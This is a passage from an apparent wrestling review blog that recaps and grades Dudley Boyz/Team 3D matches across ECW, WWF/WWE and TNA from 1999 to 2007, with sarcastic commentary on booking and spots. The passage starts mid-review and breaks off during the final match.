And there’s the first table and my eyes roll immediately. This of course devolves into a massive brawl that has no semblance of anything noteworthy at all. We get some great shots of Beaulah and that’s about it. Sandman leaves because of his neck and after about five minutes of Tommy being murdered, Spike more or less replaces Sandman. He gets a 3D for trying to save Beaulah but Sandman comes back in a neck brace. Yeah because he was able to see the doctor and the doctor released him inside of five minutes I guess. A pair of DDTs end this and the Dudleys lose.

Rating: D-. Only reason this isn’t failing is I’ve always thought Beaulah was beyond sexy. This was just ridiculous as Dreamer survived what should have killed him to come back and be fine. It was just a total mess and it wasn’t entertaining for the most part. They had no idea what to do with the Dudleys at this point.

Over the years, one of the Dudleyz’s favorite pastimes was torturing their half brother Spike. The only thing Spike could do was get a partner to fight back. Here’s an example of that from Heat Wave 1999.

Tag Titles: Dudley Boys vs. Spike Dudley/Balls Mahoney

Something tells me this is going to take awhile to start. Bubba talks about how these are the only belts that mean anything. That explains them jumping in less than 5 months. Gertner is still selling the injuries from the missed fireball. Joey says he looks like the Invisible Man. Joey, you fail. This is a fairly infamous promo as Bubba more or less has the crowd on the verge of rioting with how much heat they have on them.

This is where he says there’s a *insert gay slur here* in the front row and a mother who taught her daughter to suck dick. The Dudleys say that if the fans won’t come to them, the Dudleys will come to the fans. This is intense stuff if nothing else as a woman spits on Bubba. Now it’s time for Gertner to talk. He makes sex jokes based on the names of movies in theaters at the time to really date the show.

They’ve been talking for ten minutes now. Ok, we get it already. FINALLY Balls’ music kicks on. And now Balls talks. He says it’s a street fight with falls count anywhere. Wow I’m stunned. Naturally it’s a massive mess.

Seriously did you expect anything else? We get the cheese grater and I already hate this match. Seriously, what does this have to do with tag team wrestling? You never see more than two people on screen at once. D-Von and Spike are in the crowd doing whatever. Since there’s no referee with them, it’s rather pointless to follow them isn’t it? It’s just a big brawl with blood and random strikes. Spike dives off the balcony. Yeah I don’t care either.

Now I’m stunned as all four guys are in the ring at once. Holy goodness. The fans chant for flaming tables. Being put through one of those sounds pretty good right now. D-Von just goes off on Mahoney in the corner with punches. Ok that was kind of cool. The faces hit their finishers at the same time and of course the Dudleys kick out. And it worked so well the first time that we should just do that all over again!

So of course the four finishers don’t do it so they win with a schoolboy. Wow that’s riveting. The Dudleys do the beatdown afterwards and the table is lit up. Make that two tables. What a waste of fake wood. The powerbomb on Balls is botched. Yeah there’s nothing unsafe about that. Spike goes through. And since this was an idiotic match, here’s New Jack to really cram it home. As I’ve said, he is the epitome of everything wrong with ECW. This celebrating goes on forever as we kill more time.

Rating: F. The camera work sucked, there was zero wrestling, the ending was idiotic, it’s the same match as last month and the same feud for four months and New Jack was involved afterwards. What do you think I’m going to give this? Thankfully this was about it for the team in ECW as there was nothing left for them to do.

It would be off to the WWF soon after this and the Dudleyz would be successful in a hurry. From No Way Out 2000.

Tag Titles: Dudley Boys vs. New Age Outlaws

So the Outlaws are more or less the biggest team ever at this point and this is just another title defense against the Dudleys who took the company by storm. Think Sheamus vs. Cena from TLC. Lawler randomly barking at Road Dogg is rather funny for some reason. After the normal intros we start with a big brawl of course.

The crowd is pretty hot but you can tell they’re saving themselves for the main event. Billy beat Bubba on Thursday and put him through a table. Road Dogg does his dancing punch and Bubba does what someone with intelligence would do (the irony of that stuns me) and DUCKS.

We get a What’s Up but it’s not named yet. This match is very short, as in like 5 minutes long. The Dudleys dominate for the most part until the required big brawl at the end. On the floor, Bubba blasts Gunn in the arm with a pipe. That legitimately injured him, putting him out of action for about 8 months.

When he got back Road Dogg was with K-Kwik (R-Truth) and Gunn got a singles push. Therefore unless there was some random reunion, this is the last New Age Outlaws match. Bubba realizes something is wrong and runs into the ring for 3D and the tag titles. This was a legit shock as more or less NO ONE thought the Dudleys had a chance.

Rating: D+. Way too short to be much of anything which I’m pretty sure was because of the injury. That happens so you do what you have to do. This would set up the triple ladder match at Mania and the first TLC match at Summerslam as wrestling started the HOLY CRAP period of gimmick matches. Yes I know ECW did them first but theirs were far sloppier and became clichéd as all goodness. Ok to revise it so I don’t get complaints: the chant started in the mainstream. There.

Next up was the start of the most famous period in tag team wrestling in the WWF. From Wrestlemania 2000.

Tag Titles: Edge and Christian vs. Hardy Boyz vs. Dudley Boyz

The Dudleyz are defending and this is a triangle ladder match rather than a TLC match. That would come in September. This is when Edge and Christian still came through the crowd and somehow hadn’t won the tag titles yet. As the Dudleys pose in the aisle on a ladder during their entrance, the Canadians jump the only actual brothers in the match. This is going to be one of those matches that is almost impossible to keep track of. Bubba chops away at Jeff in the ring but gets caught by Whisper in the Wind. A Bubba Bomb puts Jeff right back down and they all head to the floor.

Christian sets up a ladder in the ring but Matt makes a save. Everyone gets back inside and there’s a second ladder. Matt throws one into the corner at Bubba for a sick thud right before D-Von is slammed onto a ladder and hit by a middle rope elbow. Jeff puts Bubba on the ladder but misses a 450, giving us a SICK looking crash. Bubba puts the ladder on top of Jeff and actually hits the middle rope backsplash to crush both of them. Edge rides a ladder out of the corner to crush another ladder onto Matt.

D-Von takes Edge down and all six guys are on the mat or floor now. Bubba is up first and we get the put the ladder around your own neck and spin around in a circle move. Edge and Christian finally dropkick the ladder into Bubba to put him down and there’s a double flapjack into the ladder in the corner on D-Von. Christian climbs a ladder and dives onto Matt and Bubba on the floor. This is all happening with almost no breaks in between. Jeff climbs the ladder in the ring but Edge jumps off the top with a spear. That would be topped by about 1000 next year.

Matt hits a crucifix bomb on Edge before trying to climb, only to be slammed down by D-Von. D-Von goes up, only to have Christian throw the ladder at him to bring him down. There are now three ladders set up in the middle of the ring and it’s Bubba with a Cutter to Christian off two of them. Awesome looking move there. With Bubba down, the Hardys hit a splash/legdrop combination off the top of the ladders. D-Von tries to climb but the Canadians suplex him off the ladder.

Everyone but the Dudleyz climb up but they all come flying down due to a facebuster and a Russian legsweep in another spot that would be topped next year. The Dudleys are back in now and the fans want tables. Now all six guys climb three ladders and as you can guess, they all go flying down. Christian and Jeff get the worst of it, crashing out to the floor. Bubba lands on his feet and shoves the other two ladders over, leaving him alone in the ring. D-Von is back up too but here’s Christian back to his feet, only to get crushed between two ladders.

Edge comes back in and gets caught in the original 3D, with Bubba running for the cutter instead of just standing there. Bubba loads up a table as is his custom and D-Von gets one of his own. There are two ladders set up in the ring and the Dudleys are all alone, but instead of climbing they make a scaffold out of a table between the tops of the ladders. The Hardys get back up to make the save but are easily dispatched. Again the Dudleys screw up though by setting up another table under the scaffold and a third on the floor.

Bubba powerbombs Matt through the one on the floor but D-Von misses a splash through Jeff on one of the tables back in the ring. Jeff tries to run the rail but Bubba pelts him in the face with a ladder. Bubba loads up the super ladder in the aisle before setting up a table in front of it. I can smell wrestling law #1 from here. Jeff comes back and takes Bubba out before putting him on the ladder. In the famous spot from this match, Jeff climbs to the top of the super ladder and hits the Swanton through Bubba through the table to put both of them out.

Back in the ring D-Von suplexes Christian down and goes for a climb but here’s Matt to break it up. The Twist of Fate takes D-Von down and now it’s Matt and Christian climbing the ladders. They both wind up on the scaffolding that was set up earlier but here’s Edge from behind. The brothers throw Matt through the table, allowing Edge and Christian to pull down the belts for their first titles.

Rating: A-. There are two problems with this match. First of all, the match the next year blows it away. Second, and far worse, the last ten minutes were spent setting up spots instead of actually going for the belts. Take the big spot of the match for example. Why in the world would Bubba do that instead of for the sake of doing that spot later? Same with all the other tables set up. There was no logic to doing that, but they did the spots anyway. Still though, excellently fun match.

We’ll jump ahead a bit to Royal Rumble 2001 when the Dudleys went after the titles again.

Tag Titles: Edge and Christian vs. Dudley Boys

The Canadians have the titles and the Dudleys have concussions. It’s a brawl to start with the champions trying to bail very quickly. We wind up with Edge vs. D-Von to start as the challenger gets two off a neckbreaker. Off to Christian who is elbowed down for two of his own. Bubba comes in as Jerry makes fun of the Dudleys’ injuries. A side slam gets two on Christian and it’s off to D-Von vs. Edge again.

Christian finally goes for the back of D-Von’s injured head to give Edge control and we get into the meat of the match. Christian gets the tag and starts pounding away on D-Von’s head, followed by a neckbreaker from Edge for two. After a quick chinlock Edge hits a neckbreaker for two more as Bubba looks like he’s about to cry. Since it’s a Dudleys match, the fans want tables. Lawler wants gumbo.

D-Von breaks up a spike piledriver for reasons of wanting to stay alive, catapulting Edge into Christian. Edge and D-Von clothesline each other and the referee misses the ensuing hot tag. A Conchairto misses D-Von and there’s the seen hot tag to Bubba. A pair of hot shots takes down a pair of Canadians and there’s a Bubba Bomb to Christian. What’s Up hits Edge but wouldn’t that hurt D-Von’s head even more?

D-Von goes to get a table and the distraction lets Edge get a title belt. Bubba ducks the shot and gets a VERY close two off a rollup. 3D is broken up by a spear to Bubba and a DDT to D-Von but Bubba kicks out again. The champions try What’s Up but the Dudleys escape and the 3D on Edge gives us new champions.

Rating: B. This is one of those annoying matches where it’s really good and therefore there’s nothing to make fun of. These guys had some of the best tag matches the WWF has ever seen and this was no exception, with all four guys looking great out there. Notice something about Edge and Christian and the Hardys: they came from tag teams but they were allowed to grow up in said tag teams, meaning once they made the transition to singles matches they had a far easier time. That NEVER happens today which is why tag teams don’t make good singles wrestlers anymore. The crowd is white hot tonight too.

Then the InVasion happened and someone thought putting the Dudleys in a main event match made sense. From the InVasion PPV.

Inaugural Brawl: Team WWF vs. Team WCW/ECW

WWF – Steve Austin, Kurt Angle, Chris Jericho, Kane, Undertaker
WCW/ECW – Booker T, Diamond Dallas Page, Rhyno, Dudley Boys

All three Alliance bosses get entrances. Now Vince gets an entrance. It’s been over 12 minutes since the last match ended and we’re not even to the wrestlers’ entrances yet. So yeah for you trivia buffs, this is the other non-ECW PPV that the Dudley Boys main evented. Kane and Taker were still kind of tag partners at this point but not really. So apparently Taker and Kane are balanced out by the Dudley Boyz? Ok then.

Oh and this is just a ten man tag. No special rules or anything like that. And pay no attention to the fact that both Taker and Kane (albeit as a jobber) used to work for WCW. Rhyno makes it the third ECW guy in a row. Talk about a push that died after this. Next is Jericho, who is about as opposite of Rhyno after this show as you could ask of anyone. Stephanie and Jericho was one of the funniest feuds I can ever remember.

Booker is US and World Champion at this time but he would hand the US Title to Kanyon soon after this. This just feels entirely thrown together. Sting is mentioned on a WWF PPV for likely the only time ever. Stephanie dancing to Booker’s music is just hilarious. Angle gets a HUGE pop despite going the wrong way down the ramp.

The level he reached about two months from now was insane. DDP is apparently the biggest deal in the Alliance. Dang did they ever jump the gun here. The 9 mentioned start fighting in the aisle and we have Austin. Notice a certain one sidedness here?

Austin and Rhyno start us off. Austin hits a superplex off the top. Sweet goodness. Jericho gets a NICE pop for the tag. Booker, the only one of the WCW/ECW guys to get a legit push in WWF comes in. Angle gets another great pop. This was after the peak the company had a few months earlier, but it was still a huge deal. This evolves into your standard big time tag match with various people beating on each other with no one really controlling for a ton of time.

DDP hits a Stunner on the top rope on Taker to finally get something resembling control. Austin works on a wristlock on Booker. There’s something you don’t see everyday. We’ve been at this for about ten minutes now and there hasn’t been any long term control. There isn’t much to say here either though as it’s exactly what you would expect it to be. Heyman is awesome at being completely evil when he has to be.

Angle is in some trouble here and the Spinarooni hits. Page hits a spinning powerbomb on Angle which is one of my favorite moves. So after nearly 20 minutes we get to the traditional face in peril sequence of the match. We go old school with Austin getting the tag but the referee didn’t see it. I love things like that. Diamond Cutter on Angle and it gets NO reaction. Cole of course calls it a neck breaker while Ross, 10 seconds after it, says the name right.

And here is the brawl that you knew was coming. Rhyno hits the Gore on Booker and Taker finally gets his hands on DDP again. Chokeslam to Page. Booker and Austin fight on the floor while the WCW referee gets a Last Ride. Taker and DDP go into the crowd while Austin’s knee is messed up after going into the steps. Kane is fighting both Dudleys.

That’s how you can tell Taker is a bigger deal than Kane: when Taker did that, they got their own match. It’s table time. Kane hits a chokeslam through the announce table on D-Von. He got him UP there too. Rhyno and Bubba put Kane through the Spanish Announce Table. Good to see a tradition still alive. Jericho puts Rhyno through the table the Dudleyz set up. Booker and Angle are the only guys still conscious. Oh and Bubba also.

The referee is still looking at Austin’s knee. Yes I’m listing a lot of play by play but you have to here so you know what’s going on. Angle fights off Booker and Bubba with an ankle lock and the Angle Slam, back when it was a good finisher, respectively. And there goes the referee. Cue the finish. Vince grabs the WWF Title and throws it to Angle. Shane gets it though and down goes Vince.

It’s Booker vs. Angle now. Angle hits his pair of finishers on him, Austin throws the referee in, kicks Angle in the head, Stunner, pin, WCW/ECW wins. Austin turned heel again, shocking JR despite him having done the same thing TWO AND A HALF MONTHS EARLIER. Austin and the three Alliance leaders have beers to end the show.

Rating: B. This did something I didn’t think it did: it made the far weaker WCW/ECW team look legit. This was all about making WWF look like they were in danger and it did that. WWF never had the advantage in the whole match until the very end. WCW/ECW controlled this as they should have. Austin turning heel had to be done given the totally rushed nature of this angle but that’s neither here nor there. The match wasn’t terrible either, so I’d say this was a success. Not a classic or anything, but a success.

During the InVasion the titles changed hands pretty regularly with the Brothers of Destruction getting them later in the year. Only one team could hang with them and the Dudleyz got their chance on Raw, September 17, 2001.

WWF Tag Titles: Undertaker/Kane vs. Dudley Boys

Why not for both titles? Because this way if they change hands they can have ANOTHER title match that means nothing on PPVs, because that’s what they needed to fix things right? EVEN MORE TITLES! Kane and D-Von start and Kane’s arm is STILL bandaged. Hasn’t that thing been hurt since April now? Kane takes him down with ease and no sells his punches. Sidewalk slam puts D-Von down and Kane drills Bubba so he can hit the top rope clothesline for two.

Off to Taker who has an American flag on his singlet now. D-Von takes him down with a shoulder block and brings in Bubba. Taker knocks down the future Bully almost immediately and hits Old School. Bubba comes back with a belly to back suplex for no cover. Kane comes in and grabs both Dudleys for chokeslams at the same time but D-Von hits him in the arm to break it up. What’s Up Kane?

Here comes a table but it doesn’t get set up. Kane is in trouble but manages to powerbomb Bubba out of the corner and tags Undertaker. A legdrop gets two on D-Von as Kane and Bubba fight on the floor. There goes the referee and cue Kronik. High Times puts Kane through the table and the 3D gives the Dudleys the titles.

Rating: D+. It was another mess but getting at least half of the titles off of Undertaker and Kane was a good thing because you had to have them get cheated to have them lose. That makes their defenses boring because you know no one is going to be able to get a clean win on them. Unfortunately this set up the Brothers vs. Kronik which was horrible.

We’ll have to jump a good bit ahead now due to the Brand Split breaking the team up for awhile. When that bombed, the team reunited at Survivor Series 2002 and got a title shot at Royal Rumble 2003.

Raw Tag Titles: Dudley Boys vs. William Regal/Lance Storm

Regal and Storm are defending and Regal is STILL doing the brass knuckles thing. Storm and Ray get things going with Lance working on the arm, only to get powered down with ease. Bubba hits one of his LOUD chops in the corner and takes Storm down with a kind of chokebomb. In something I’ve never seen him do otherwise, Bubba hooks a standing Figure Four. Actually I can’t think of anyone who has ever used that.

Off to D-Von for a dropkick (what’s gotten into the Dudleys tonight?) and here’s Regal to get slammed down immediately. The champs double team D-Von down and we get into the standard tag team formula. Storm takes D-Von to the mat and it’s off to Regal for a front facelock. Lance comes back in with a cravate into a sleeper as this continues to meander along.

D-Von rolls Storm away and makes the tag to Bubba who speeds things up. The guy has emotion if nothing else. A big running splash in the corner crushes both champions and a side slam gets two on Storm. The American hits a German on the Canadian for two, followed by a spear to the Englishman. The Bubba Bomb gets two on Lance and Regal takes What’s Up. A double flapjack (stupid fans: “3D!”) gets two on Storm and here’s Chief of Staff Sean Morely. Regal finds the brass knuckles but walks into the 3D. D-Von hits Storm with the knuckles for the pin and the titles.

Rating: D. This didn’t work for me. It felt like a Raw match that was trying to be a PPV match but never got near the hump they were trying to get over. The ending was stupid on top of that, as they had Regal beaten with the 3D, so why use the knuckles? Also it didn’t help that Bubba single handedly beat up the tag champions for about two minutes straight. Bad match.

Another title shot, from Unforgiven 2003.

Raw Tag Titles: Dudley Boys vs. La Resistance

This is a handicap elimination tables match as La Resistance have Sylvan Grenier, Rob Conway and Rene Dupree. This was supposed to be a 6 man but the heels botched a table spot on Spike on Raw where the threw him over the top and missed the table entirely other than the back of Spike’s head smacking into the table in a SICK looking spot. And we have tags in a tables match. Sure why not?

You can tell this is a long time ago as they’re only 16 time tag champions here. Sweet goodness that’s ridiculous sounding. D-Von and Grenier, who is by far the worst of the three, start us off. And now it’s Conway. Thank you for wasting our time like that. He’s an American that is a French sympathizer. We get the eternal question of why do the French love Jerry Lewis movies. That’s a great question and I’ve yet to get an answer to it.

For a tables match there is a severe lack of tables in it so far. It’s just a handicap match with the Dudleys being way ahead. The double neckbreaker hits and so does What’s Up. Still no tables. There are no disqualifications in this, yet they have to tag. I’ll never get that. Ah here we go. D-Von gets sent through so it’s only Bubba left. They’re not eliminated though. Bubba is WAY over here which is odd to an extent. There are a ton of tables here.

Bubba, from his knees, slaps the heck out of Sylvan’s chest. That sounded GREAT. He goes through the table so it’s 2-1 I guess you could say. Wait…are they eliminated? Oh does it really matter? Well there’s D-Von and the referee is fine with it so I’m thinking no. Wait it’s No DQ so it doesn’t matter if they’re eliminated or not.

Conway goes through it and in nearly the same spot he hurt Spike in, he hits HIS head on the table. FREAKING OW! It’s Bubba vs. Dupree here more or less and since it’s both Dudleys vs. him, what do you expect? Actually Rene wins for the most part and gets to set up a table. He’s 19 here but walks into 3D to give the Dudleys the belts.

Rating: D+. Well this wasn’t that bad but it could have been on Raw. Well maybe not as it actually got over ten minutes. This wasn’t anything special but it made the Dudleys look strong here which is the right idea. It’s nothing special but it’s fine for what it was supposed to be so I can’t complain that much.

And one more from Royal Rumble 2004, in a rematch from Evolution being a last minute entry to the tag team turmoil match the previous month.

Raw Tag Titles: Dudley Boys vs. Evolution

Flair and Batista are defending here and this is a tables match. Coach is ticked off at the Dudleys for putting him through a table six nights ago on Raw, because if there’s one man you need to give a reason to be a heel, it’s COACH. Batista makes fun of the Eagles because he hasn’t broken through to the other side of the glass ceiling yet. The fight starts in the aisle as you would expect. This is one table to a finish, meaning only one guy has to go through to end it.

Bubba slides in a table but shoves it hard enough that it slides across the ring and hits Batista in the ribs on the other side of the floor. Flair gets double teamed to start and caught in a powerslam by D-Von. There’s a table set up in the ring but Batista moves it before Flair gets suplexed through it. D-Von hits a Cactus Clothesline on Batista as Flair chops Bubba against a table in the corner.

Big Dave comes back in with some clotheslines to clean house but misses a charge into the post. The belly to back neckbreaker from the Dudleys puts him down and it’s Flair getting double teamed again. According to JR, the Dudleys are the only team to win the (non-vacant) world tag team titles at the Rumble. Coach heads to the ring to distract the Dudleys and prevent a 3D to Flair. Flair saves Coach and Batista hits a spinebuster to put D-Von through a table to retain.

Rating: D. This match fell into the same trap that all bad tables matches fall into: the dull set of spots that fail until one works for the win. You rarely get something that gets around this through sheer carnage such as the match at the 2000 Rumble, but this was just terrible. I have no idea what they were going for here as the fans were disappointed and they only had four and a half minutes to get into it. Also: real smart WWE. This is the right way to start a show in Philadelphia: have some of the most famous ECW guys ever lose.

The Dudleyz would be sent to the sidelines for awhile as their contracts came up. They were the only choice to main event an ECW reunion show though, so here’s their match from One Night Stand 2005. I’ll throw in the awesome post match stuff as a bonus.

Dudley Boys vs. Tommy Dreamer/Sandman

Ok, so this is more or less by far and away the most famous and popular part of this show as the match won’t start for about 15 minutes or so. This was the first time the Dudleys had been seen in months on end and they would be gone and in TNA rather soon. Foley sums up a lot very easily: There are guys like me that absolutely love ECW and everything it stood for but at the end of the day consider themselves WWE guys.

Then you have guys like the Dudley Boys that work for WWE but in their hearts are always going to be ECW guys. That sums up this whole show better than anything else could I think. Dreamer gets a pop and a half. You can tell Dreamer is WAY impressed and really in awe of this. The music hits and so begins the most famous entrance in modern wrestling history at least.

Enter Sandman (original, not that Motorhead nonsense) hits and he’s in the crowd. The fans sing the song for his entrance in what is an awesome moment. He’s on his second beer and he’s still on the top floor. Hey he’s at the railing! His entrance is at 3 minutes now. Bubba gets beer spit at him. Tommy and Sandman have beers with CW Anderson and Chris Chetti in the front row before pouring one on two girls’ chest and licking it off, one of which is Elektra.

D-Von dancing to Metallica is funny and the cane gets jacked off. Five and a half minutes now. Hand pounds all around…and there’s the BWO. The reaction from Foley is hilarious. Think Ray from Ghostbusters when he says “It’s the Stay-Puft Marshmallow Man”. Just cracks me up every time. Match hasn’t started yet. Stevie looks good here actually. Joey sums up the BWO perfectly: “If any gimmick never deserved to make a dime and made a whole boatload of cash, this is it.

And the best is they couldn’t sue us because it was a parody.” For those of you that have no idea what I’m talking about, the BWO is the Blue World Order: Big Stevie Cool, Da Blue Guy and Hollywood Nova (Simon Dean). They were a parody of the NWO which wound up being ridiculously popular so they ran with it.

Stevie says they’re taking over and kicks Sandman in the face. Let the brawling begin. Kid Kash is here, having just been fired from TNA, marking I believe the first and only time it was mentioned on WWE programming. He does nothing and here are Balls Mahoney and Axl Rotten: the Hardcore Chair Swingin Freaks.

They beat up the BWO so the interfering people are fighting the other interfering people. Nova gets the heck chaired out of him. Joey: that’s more painful than having to be Simon Dean on national TV. Everyone brawls in the aisle and Kash has the referee get on all fours for a HUGE front flip onto all of them. Bubba busts out the trashcans. Remember the match hasn’t started yet. Oh hey there it is, 14 minutes after the Dudleys’ song started. Dreamer has a cheese grated.

The fans chant for Cactus Jack which Foley kind of laughs off. Cheese grater across Dreamer’s head is SICK! Oh he’s busted bad so Bubba rubs it on his face. Joey: Tommy’s skin looks like cabbage in a coleslaw. In case you can’t tell, I freaking love this. Foley calls the grater comical. Sometimes I’d pay to be inside that man’s head. Sandman brings in the ladder. We get probably my all time favorite comedy line in wrestling.

Joey says he was going to compare Dreamer wrestling tonight to Gehrig’s last at bat at Yankee Stadium but Gehrig didn’t whip out a cheese grater and start mutilating people with it. And that my friends is why I love wrestling. It’s so insane that to us it makes sense, but when you compare it to something else, it sounds ridiculous. However, in wrestling, there are three words that make things magical: It Could Happen.

That is why I love wrestling: you never know what you could see. Naturally this is just a wild brawl all over the place. Bubba hits a frog splash on Sandy which has to be better than some forms of execution. D-Von takes the White Russian legsweep and we get a double figure four on the Dudleys but the Impact Players run in. Sandman gets a That’s Incredible on barbed wire and here’s Francine.

Beaulah makes her return for the CATFIGHT CATFIGHT CATFIGHT!!! Dreamer saves her and they have their big reunion with Dreamer’s face covered in blood. The Dudleys get DDTed by the two of them, making me smile. WHERE ELSE BUT IN WRESTLING COULD YOU GET THIS? Beaulah gets two on Bubba and she’s hardcore according to the fans. Joey is told in his headset that he can’t say balls, which he makes fun of of course.

Sandman goes through a table for two. 3D on Dreamer, and it’s the old style, not the crap one now. We have another table and here’s Spike who is seeing COLORS! Yep, the table is on fire and there goes Tommy. In a spot that makes me cringe, Tommy’s head is tilted towards the mat and blood just pools up from his head. That’s a great visual. Bubba actually dives on him for the pin.

Rating: N/A. Can’t give this a fair grade as it wasn’t a match by any definition of the word. Make no mistake about it though: this is the highlight of the show and as much fun as I can remember having watching wrestling perhaps ever.

Post match (oh like you didn’t expect something else to happen) the Dudleys go after Beaulah and get the tar cained out of them. In a spot that always makes me chuckle, Spike comes back again and Sandman turns around and just canes him again before going back to what he was doing. He looked like he was paying a parking meter or something. Sandman looks at Tommy and says someone….someone…SOMEONE GET ME A BEER! Joey: screw the beer, get him some plasma! “Somebody get me a beer!”

CUE GLASS SHATTER!

Yep, Austin (in a freaking XFL jersey of all things) is here. He calls out the whole locker room and says he wants to see a fight. Yep he calls down the crusaders and you know what’s coming. The heat is awesome here. The sight of everyone on their own side of the ring looks great. The crowd chants WE WANT TAZ and guess who shows up. Yep it’s old school Taz, as in the machine Taz. Bischoff is on commentary.

The fight is on and Taz and Angle hit the floor. After a bit of a scuffle, Taz chokes him out. Now the interesting thing is this: in the back of the ring you can see JBL going CRAZY on someone. It would turn out to be Blue Meanie and JBL was legitimately beating him until Tracy Smothers and a few others picked up on it and helped him. This started a legit feud between them with Smothers calling JBL out for a real fight anytime anywhere.

Anyway, other than that of course the ECW guys clean house and run the WWE guys off. After they leave, Austin gets on the mic (wearing JBL’s hat) and says to Mick Foley to bring Bischoff to the ring. The fans kind of collectively gasp as they know what’s coming. This was a wet dream for them to say the least. The funny part is that he can’t go into the crowd because he’ll get hurt worse out there.

Bischoff takes a 3D, the flying headbutt from Benoit (complete with Austin telling him to kill him), a 619 (booed loudly) and a Stunner as the fans are in awe. The Dudleys literally throw Eric out of the building and the party is on. Joey screams ECW LIVES to end the show.

With nothing left to do in WWE, it was off to TNA, where the team actually spent more time than anywhere else. The team would be put into the main event scene very soon and be in one of the featured matches at Destination X 2006. They’re now Team 3D due to some legal issues with the Dudleyz name.

Jeff Jarrett’s Army vs. Team 3D/Ron Killings/Rhyno

The Army is Jarrett, AMW and Abyss. Jackie Gayda is being held against her will due to something about a video tape. At least Gail Kim looks hot here. So in other words, Jeff has had Debra, Gail and Karen. Not bad at all. It’s so weird to hear What’s Up on a TNA show. This is just a big street fight. The non Army (Navy?) hits the ring and we’re out of the ring almost immediately.

Truth would be the captain of the team for lack of anyone better. They’re in the aisle, the stands and the stage all at once. Rhyno tries to Gore Abyss off the stands but Abyss gets a boot up. Bubba ACTUALLY HITS THE BACK SPLASH (minus the rope) on Storm I think. Jarrett and Truth go to the Spanish table. D-Von and Harris are finally found in the stands. Rhyno pops Abyss with a chair. If this sounds all over the place, there’s a reason for that.

Jarrett gets some chair shots into Truth and since they’re the only ones you can see clearly we stay on them for a bit. We finally can see everyone and it’s Storm vs. Rhyno in the ring at the moment. Rhyno actually tags in D-Von and even the announcers make fun of it. The Dudleys try a Doomsday Device but Harris saves, allowing Abyss to chokeslam Ray.

Off to Jarrett vs. D-Von now with Jarrett in total control. And scratch that as Storm comes in and down he goes. The future Bully comes in and cleans house. Rhyno adds a spinebuster for two. Abyss hammers on Rhyno a bit now and the slug out goes to Abyss. Jarrett gets a dropkick and it’s off to Storm. Uh make that Harris. We have a chinlock in a WAR. I give up.

Yep it’s a boring match now. They managed to take a huge brawl that was pretty cool to start off and turned it into another boring tag match. Rhyno vs. Jarrett now and both guys go down. Harris comes in to make sure nothing exciting happens here. Perish the thought. Killings FINALLY comes in to clean house. He avoids a splash from Abyss in the corner and gets that suplex into a Stunner to Storm for two.

The Dudleys come in and it turns into a big brawl again. Guitar comes in and Jarrett has to hide it from the referee because this is a stupid match. Gore takes Jarrett down but a Black Hole Slam does the same to Rhyno. Gail breaks up What’s Up so Jackie comes in and it’s a double What’s Up to Gail and Jeff. D-Von goes to do the chest slap to Jackie and pauses in a funny spot.

3D takes out Abyss but AMW takes out Team 3D. Death Sentence to D-Von and Killings gets taken down by a double team as well. I hear handcuffs but Truth apparently has experience with them as Harris winds up cuffed to the ring. Axe kick gets two as Jarrett pulls the referee out. Jarrett and Truth slug it out a bit and the Stroke ends this rather quickly.

Rating: C. Leave it to TNA to take their WAR and make it boring for a large part of it. They started in an actual war then went to a regular match and then to a big decent fight. Of course TNA managed to take what could have been a good match and get the whole order of it screwed up. Match was just ok and the feud would continue for the most part next month at Lockdown.

At the end of the day though, the Dudleyz have to go after Tag Team Titles. Here’s one of their first major shots, from Lockdown 2007 in an electrified cage match for no apparent reason.

Tag Titles: Team 3D vs. LAX

No Konnan to start. This gets big match intros as it’s basically the first of two main events. The lights are dimmed for this so it’s almost blue. Apparently the current going through the cage is only on in certain places at certain times. They don’t have to tag because when the cage is electrified, tagging is pretty stupid. Team 3D controls to start. This is a hard match to call because they’re moving around kind of strangely here, due to trying to avoid the cage. It’s not bad per se, but it’s not the most exciting thing in the world.

What’s Up hits and at least D-Von was very tentative about going up due to being next to the cage. LAX takes over and uses whatever cheating methods they can. D-Von is busted and Homicide’s hand touches the cage to give us the first electrocution in the match. I didn’t expect to have to write that. Hernandez is busted too. He goes up but D-Von manages to crotch him. Homicide is crotched as well and we get nearly stereo superplexes.

D-Von beats up Homicide, hitting a powerslam for two. Konnan has been wheeled out. Whoever wheeled him out beat down the outside referee and gave Konnan some rubber gloves. Hector Guerrero, the Spanish announcer, jumps that guy (we can’t see who he is) and stares down Konnan. Apparently the guy who wheeled Konnan out was trying to get the key to the door. Hector unlocked it and the door is open. It’s hard to tell what’s going on due to the light. Bubba yells at him to hand him an F’ing table.

The delay allows for LAX to get a quick takeover but Hernandez stops to yell at Hector, so Hector slams the door on his head. The double neckbreker gets two on SuperMex. Bubba Bomb gets two on Homicide. Samoan Drop gets two on D-Von. Top rope elbow gets the same. This has gotten a good deal better. HUGE layout powerbomb gets two on Homicide by Bubba.

We get the first big electrocution spot as Hernandez Border Tosses D-Von into the cage and he vibrates like a fish on a fish frying plate. He’s COVERED in blood, which would be more effective if you could see it. The fans aren’t that thrilled with this as they chant Fire Russo. A middle rope elbow gets two for Bubba. D-Von is apparently fine after the MASSIVE ELECTROCUTION as a Doomsday Device gets two.

The table gets loaded up and D-Von is placed onto it. Hernandez puts some rubber gloves on but takes forever to do it. He climbs to the top of the cage but since he took FOREVER, the splash through the table misses. Looked awesome though. The Dudleys take over on Homicide, throw him into the cage, botch a 3D off the cage and then hit the 3D for the pin and the titles.

Rating: D. Yes it was bad, but it wasn’t THAT bad. I mean, if you compare this to the blindfold match it’s a masterpiece. The cage stuff was stupid and I’m really not sure what the point of the lights was. Maybe the cage sucked too much electricity out? Anyway, not a horrible match but it was probably way too much for the payoff they got out of it.

In something that has almost never worked before, TNA decided to have a Winner Take All tag match at Victory Road 2007.

TNA World Title/X Division Title/Tag Titles: Team 3D vs. Kurt Angle/Samoa Joe

And remember, AJ and Daniels had a tag title shot, but we can’t have them as main event guys. Team 3D is FAR more believable as world title contenders. As you likely guessed, this is little more than Angle and Joe trying to one up each other and Team 3D is just in the way. With the simple problem of NO ONE believes they have a chance of winning a singles title, this is rather just about who wins the tag belts.

Joe has his Samoan fire breathers and dancers and whatnot. Angle tries to get Serotonin to help him. They laugh at him. He beats them up too. That riser is just awesome. So after about 10 minutes of intros, the match is nothing special at all. TNA fans doing the You Suck chant just isn’t right at all. We get the required Team 3D tension that no one cares about at all. It just doesn’t work. Let it go.

Bubba starts to leave and then doesn’t as we desperately search for drama of any kind. Can we get to the end of this please? We all know that the Dudleys are losing here so why pretend otherwise? Angle has disappeared for some reason. Oh ok he just wanted Joe to get beaten up. We hit the required insanity and I just want this show to end. ANGLE HITS THE MOONSAULT!
